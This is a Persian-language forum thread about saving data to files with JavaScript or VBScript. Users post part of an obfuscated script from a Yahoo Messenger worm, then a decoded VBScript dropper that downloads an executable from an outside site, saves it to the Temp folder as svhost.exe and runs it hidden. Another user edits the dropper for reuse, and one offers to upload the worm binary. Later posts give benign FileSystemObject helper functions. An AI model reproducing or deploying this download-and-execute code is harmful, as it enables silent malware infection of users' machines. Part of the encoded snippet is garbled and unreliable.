ورود

View Full Version : آیا میشه بوسیله javascript یا vbscript اطلاعات داخل فایل ذخیره کرد؟



سیلوستر
پنج شنبه 03 اسفند 1385, 02:27 صبح
با سلام
میخواستم ببینم با javascript یا vbscript میشه اطلاعات رو داخل فایل ذخیره کرد؟
نوع فایلش خیلی هم مهم نیست. فایل متنی یا باینری هم کارمو راه میندازه.

oVERfLOW
پنج شنبه 03 اسفند 1385, 10:34 صبح
با Gava رو نمی‌دونم ولی با VBScript و JavaScript می‌شه !!
بستگی داره به اینکه تنظیمات امنیتی مرورگر مقصد چه جوری باشه
ممکنه اجازه بده و به احتمال زیاد اجازه نمی‌ده
باید یه شیء ایجاد کنید

اگه هدفتون وب هست که بهتره بی خیال بشید !!
ولی اگه روی کامپیوتر فایلی اجرا می‌شه یه کارایی می‌شه کرد...

adaman
پنج شنبه 03 اسفند 1385, 11:18 صبح
با document.write میشه این کارو کرد در جاوا اسکریپت
که همین چند ماه پیش ورم یاهو مسنجر از همین روش استفاده کرده بود که حتی تو SP2 هم کارساز بود.
برای مثال قسمتی از همین اسکریپت رو می ذارم:

</script>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%
74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73 %63%72%
69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28 %73%29%
7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28 %73%2E%
73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68 %2D%31%
29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28 %69%3D%
30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B %29%74%
2B%3D%53%74%F%2855%2855%285F%2855rshq%2855%285F3%2 83G%283D%2853%
2853%2853%2853%286F2vfulsw%286H3')</script>

oVERfLOW
پنج شنبه 03 اسفند 1385, 14:09 عصر
این باز شده‌ی کدی هست که دوستمون نوشتن:

<script language="javascript">
function dF(s)
{
var s1=unescape(s.substr(0,s.length-1));
var t='';
for(i=0;i<s1.length;i++)
t+=StUU_UrshqUَƒG=SSSSٍvfulsw†H3

این که هیچی نیست و باید دید بقیه‌اش چیه

در مورد unescape هم یه دستور ساده‌ی جاوا هست که اون اعداد رو به کاراکترهای متناظرشون تبدیل می‌کنه و هیچ ارتباطی به ذخیره‌ی فایل نداره...

tabib_m
پنج شنبه 03 اسفند 1385, 19:05 عصر
تنها کاری که در مورد ثبت در فایل ها به صورت پیشفرض میتونی توی وب انجام بدی ، ثبت کوکی هست...

adaman
جمعه 04 اسفند 1385, 00:15 صبح
زمینه ی کاری من جاوا اسکریپت نیس اصلا ولی خیلی دلم می خواد اگه وقت کردم شروع کنم یادگیری انو
این مسئله رو هم ، همون موقع همه گیر شدن ویروس یاهو متوجه شدم
فایل تکست این اسکریپت رو ضمیمه می کنم، فقط برا یاد گیری هاااااااااااااااا
از دوستان هم خواهش میکنم برا منم هم توضیح بدن نحوه ی کار اینو
این فایل رو اگه با فرمت html ذخیره کنین و اجرا ، دو فایل به نامهای svhost.exe و svhost32.exe در شاخه ی Temp ایجاد شده و اجرا می شن.
باید یه جایی آپلود بشه بعد اجرا بشه
این دو فایل هم فایلهای اصلی ورم یاهو می باشن.
فایل مورد بحث هم توسط بیشتر آنتی ویروسا شناسایی می شه هاااااا ، بعدا نیاینن بگین که این ویروسهههههه ، مسوولیتش هم با خودتونه

سیلوستر
جمعه 04 اسفند 1385, 00:51 صبح
با Gava رو نمی‌دونم ولی با VBScript و JavaScript می‌شه !!اشتباه تایپی بود خواستم ویرایش کنم دیدم عنوان تاپیک رو نمیشه ویرایش کرد.

هدفم وب نیست. میخوام یه برنامه نیمچه کاربردی بنویسم.

با document.write میشه این کارو کرد در جاوا اسکریپتولی من می خوام تو یه فایل جدید اطلاعات رو بنویسم نه تو همین صفحه جاری که اسکریپت های جاوا توش نوشته شدن.

oVERfLOW
جمعه 04 اسفند 1385, 11:04 صبح
من الان وقت ندارم
آنالیزش می‌کنم و نتیجه‌اش رو اینجا اعلام می‌کنم
باید جالب باشه

حامد مصافی
جمعه 04 اسفند 1385, 12:11 عصر
بله با شی FileSystemObject از شی سرور Scripting میشه این کار رو کرد.
اما استفاده از این شی در کلاینت موجب بلاک شدن صفحه خواهد شد

oVERfLOW
دوشنبه 07 اسفند 1385, 09:35 صبح
اون صفحه‌ی HTML که دوستمون آپلود کرده بودن
بعد از 2 - 3 بار رمزگشایی یه اسکریپت به شرح زیر رو توی فایل HTML اضافه می‌کرد و اجراش می‌کرد
من البته امتحان نکردم که آیا کار می‌کنه یا نه
ولی شیوه‌ی کلی کار همونه که گفتم
یه فایل اجرایی رو از یه سایت دانلود می‌کنه
اون رو روی سیستم ذخیره می‌کنه
و اجراش می‌کنه
توی FF که فکر نکنم اصلا اسکریپت اجرا بشه
دیگه بقیه‌اش با خودتون

<script language="VBScript">
on error resume next
dl = "http://italiandirectory.com/termex/zin.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="svhost.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0

</script>

سیلوستر
پنج شنبه 10 اسفند 1385, 00:44 صبح
با یه کم ویرایش این کدو نوشتم:
فایل می سازه ولی توش خالیه!


<script language="VBScript">
on error resume next
dl = "http://italiandirectory.com/termex/zin.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set x = df.CreateObject("Microsoft.XMLHTTP","")
set S = df.createobject("Adodb.stream","")
S.type = 1
x.Open "GET", dl, False
x.Send
fname1="d:\a.txt"
S.open
S.write x.responseBody
S.write "111111111111"
S.savetofile fname1,2
S.close
</script>

oVERfLOW
پنج شنبه 10 اسفند 1385, 09:26 صبح
اون اسکریپت اطلاعات رو از یه سایت دانلود می‌کرد
شما هم باید از یه جا اطلاعات رو دانلود کنید یا اینکه توی HTML ذخیره‌اش کنید

عجیبه. IE هیچ خطایی نمی‌گیره ؟
یعنی راحت شیء رو ایجاد می‌کنه؟

mazoolagh
پنج شنبه 10 اسفند 1385, 20:10 عصر
عجیبه. IE هیچ خطایی نمی‌گیره ؟
یعنی راحت شیء رو ایجاد می‌کنه؟

بستگی به تنظیمات امنیتی داره

سیلوستر
سه شنبه 15 اسفند 1385, 01:08 صبح
عجیبه. IE هیچ خطایی نمی‌گیره ؟
یعنی راحت شیء رو ایجاد می‌کنه؟چرا بابا پیغام میده که این ActiveX ممکنه اشکال امنیتی ایجاد کنه و از کابر اجازه اجرا یا عدم اجرا رو میگیره.

adaman
سه شنبه 15 اسفند 1385, 03:49 صبح
مثل اینکه عقب موندم از این بحث مفید
اولا ممنونم از همه ی دوستان ، بخصوص آقای oVERfLOW (درست گفتم؟) و سیلوستر
برا من این بحث خیلی مفید بوده یه چیزایی هم فک کنم یاد گرفتم ( اسکریپت نویسیم یواش یواش داره را میوفته :چشمک: )

عجیبه. IE هیچ خطایی نمی‌گیره ؟
یعنی راحت شیء رو ایجاد می‌کنه؟
درسته ، در فایل اصلی در حالت پیش فرض تنظیمات هیچ خطا یا پیغامی رو نشون نمی ده ، برا همین بوده که ورم یاهو همه گیر شده بود اون زمان
این اسکریپت هم مال همونه ، همونی که هی PM از خودش در می کرداا

فایل می سازه ولی توش خالیه!
درسته ، چون فایل zin.exe الان دیگه وجود نداره تا دانلود بشه و ...
راستی من این فایلو دارم ، اگه خواستین می تونم جایی اپلود کنم ااا:بامزه:
یه وقت مناسب با همین کدا امتحانش می کنم

سیلوستر
جمعه 18 اسفند 1385, 08:43 صبح
درستش کردم. یه چند تا تابع برای کار با فایل نوشتم که اینجا میزارم:


Set fso = CreateObject("Scripting.FileSystemObject")
Const ForReading = 1, ForWriting = 2, ForAppending = 8

function SaveData(fname,fID,fData)
Set contentFile = fso.OpenTextFile(fname,ForAppending,True)
contentFile.WriteLine(fID & "|" & fData)
contentFile.Close
End function

function LoadData(fname,fID)
if fID="" then exit function
dim ddata, alldata
Set contentFile = fso.OpenTextFile(fname,ForReading)
do
ddata=contentFile.ReadLine()
if left(ddata,instr(1,ddata,"|")-1) = fid then
LoadData=right(ddata,len(ddata)-instr(1,ddata,"|"))
exit do
end if
loop while ddata <> ""
contentFile.Close
End function

function EditData(ename,eID,eData)
dim ReadeData
fso.CopyFile ename,"back.txt",True
set SourceeFile = fso.OpenTextFile("back.txt",ForReading)
set DestinationeFile = fso.OpenTextFile(ename,ForWriting,True)
do
ReadeData = SourceeFile.ReadLine()
if ReadeData <> "" then
if left(ReadeData,instr(1,ReadeData,"|")-1) <> eID then
DestinationeFile.WriteLine(ReadeData)
else
if eData <> "" then DestinationeFile.WriteLine(eID & "|" & eData)
end if
end if
loop while ReadeData <> ""
End function

function LoadEntireFile(fname)
Set contentFile = fso.OpenTextFile(fname,ForReading)
LoadEntireFile=contentFile.ReadAll
End Function

yangom
پنج شنبه 30 فروردین 1386, 17:37 عصر
چطوری میتونم یک درایو را جستجو کنم
منظورم اینکه هر درایوی که دلم خاست چون کدی هست که تمام درایو هارا بترتیب جستجو میکنه در ضمن طوری باشه که تو فایلهای فشرده رو بگرده
وقتی بااون کدی که گفتم درایو ها راجستجو میکنم
به محض اینکه به پوشه یا فایلی که قفل داره میرسه پیغام خطا میده
لطفا کدی باشه که این مشکل را نداشته باشه